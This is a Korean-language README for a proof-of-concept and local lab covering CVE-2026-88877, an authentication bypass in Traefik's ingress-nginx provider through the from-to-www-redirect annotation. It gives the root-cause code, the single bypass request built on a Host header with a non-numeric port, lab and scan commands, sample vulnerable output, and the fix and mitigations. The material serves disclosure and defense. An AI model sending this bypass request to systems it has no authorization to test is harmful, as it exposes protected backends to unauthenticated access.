
CVE-2026-88877에 대한 개념 증명 및 재현 가능한 실습 환경으로, from-to-www-redirect를 통한 Traefik ingress-nginx 인증 우회 취약점이며, 읽기 전용 검사 모드를 포함합니다.
v3.7.0–v3.7.11 — from-to-www-redirect를 통한 인증 우회작성자: pwnVader · 라이선스: MIT (저장소 루트)
| 구성 요소 | Traefik (Kubernetes ingress-nginx 프로바이더, providers.kubernetesingressnginx) |
| 유형 | CWE-639 — 사용자 제어 키를 통한 인가 우회 |
| 영향 받는 버전 | Traefik >= v3.7.0, <= v3.7.11 (v2 및 < v3.7.0은 영향 받지 않음) |
| 수정 버전 | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3 (Critical, 벤더 권고 기준) · CVSS 3.1 9.8 (일부 취약점 데이터베이스에서 공개한 대로) |
| 공식 권고 | GHSA-cjr6-pf59-jq29 (Traefik 저장소 권고) |
| PoC | poc.sh · lab/ |
공개 상태. 이 취약점은 Traefik 프로젝트에 의해 공개적으로 공개되었으며 v3.7.12에서 수정되었습니다. 이 문서는 재현 가능한 랩을 포함한 독립적인 기술 분석이며 — 원래 발견한 것이 아닙니다. 이 취약점은 위에 나열된 벤더 권고를 통해 보고/공개되었습니다 (VulnCheck 권고도 참조하십시오). 명시적인 승인 없이 이 자료를 시스템에 사용하지 마십시오.
GHSA 식별자. 공식 저장소 권고는 GHSA-cjr6-pf59-jq29입니다. GitHub의 일반 권고 데이터베이스에도 동일한 문제에 대한 별도의 레코드인 GHSA-9rch-gvf7-hrfc가 있습니다. 취약점을 인용할 때는 저장소 권고를 우선적으로 사용하십시오.
Ingress가 인증 어노테이션(예:
nginx.ingress.kubernetes.io/auth-type: basic)과
nginx.ingress.kubernetes.io/from-to-www-redirect: "true"를 모두 포함할 때, Traefik의
ingress-nginx 프로바이더는 호스트만 일치하고 생성된 RedirectRegex 미들웨어만 포함하며
여전히 보호된 백엔드를 가리키는 추가 "형제(sibling)" 라우터를 생성합니다:
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // ONLY the redirect middleware
Service: rt.Service, // <-- the protected backend
}
RedirectRegex는 터미널 핸들러가 아닙니다: 정규식이 일치하지 않으면 요청은 다음
핸들러로 전달되고 최종적으로 백엔드로 프록시됩니다. 정규식은 숫자 포트
((:[0-9]+)?)만 허용하는 반면, Traefik의 Host() 매처는 net.SplitHostPort를 통해
authority를 정규화합니다. 따라서 Host 헤더에 숫자가 아니거나 빈 포트가 있는 요청은:
Host("www.example.com"))와 일치하지만,www.example.com:x)과는 일치하지 않으므로 리다이렉트되지 않고,인증되지 않은 단일 요청 — Host: www.example.com:x — 이 인증을 요구하는 백엔드에
도달합니다. 반환되는 HTTP 상태는 백엔드 자체에 따라 다릅니다: 이 랩에서는
traefik/whoami 백엔드가 200을 응답하지만, 보안과 관련된 사실은 특정 상태 코드가 아니라
요청이 인증 없이 백엔드에 도달했다는 점입니다.
v3.7.0–v3.7.11
(--providers.kubernetesingressnginx=true).nginx.ingress.kubernetes.io/from-to-www-redirect: "true"를
결합한 Ingress로, www. 대응 호스트가 없는 호스트를 대상으로 함
(그렇지 않으면 형제 라우터가 생성되지 않음).# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
poc.sh check는 임의의 후보 배포를 대상으로 지정할 수도 있습니다:
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
랩에서 사용된 백엔드(traefik/whoami)는 요청을 에코하여, 요청이 Authorization 헤더 없이
그리고 인증 미들웨어가 적용되지 않은 채 보호된 서비스에 도달했음을 증명합니다. 표시된 상태
코드(200)는 이 특정 백엔드가 반환하는 값입니다. 다른 백엔드의 경우 우회가 401/403이
아니거나 리다이렉트가 아닌 다른 응답으로 나타날 수 있습니다.
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
이제 리다이렉트 라우터는 내부 unavailable 서비스를 가리키므로, 요청이 정규식을
빠져나가더라도 보호된 백엔드에 절대 도달할 수 없습니다.
Traefik v3.7.12 이상으로 업데이트하십시오. 업데이트할 수 없는 설치의 경우, 인증 또는
허용 목록을 결합한 모든 Ingress에서 nginx.ingress.kubernetes.io/from-to-www-redirect를
일시적으로 제거하고, 접근 제어 미들웨어를 유지하는 구성(예: 미들웨어를 연결한 명시적인
Traefik RedirectScheme/RedirectRegex CRD)으로 리다이렉트를 구현하십시오. 심층 방어:
백엔드/업스트림에서도 인증을 적용하십시오.
승인된 보안 테스트 전용입니다. 랩은 로컬이며 자체 포함되어 있습니다. check 모드는
읽기 전용(세 번의 GET 요청)이며, 소유하거나 명시적으로 테스트 권한을 부여받은 시스템에만
사용해야 합니다.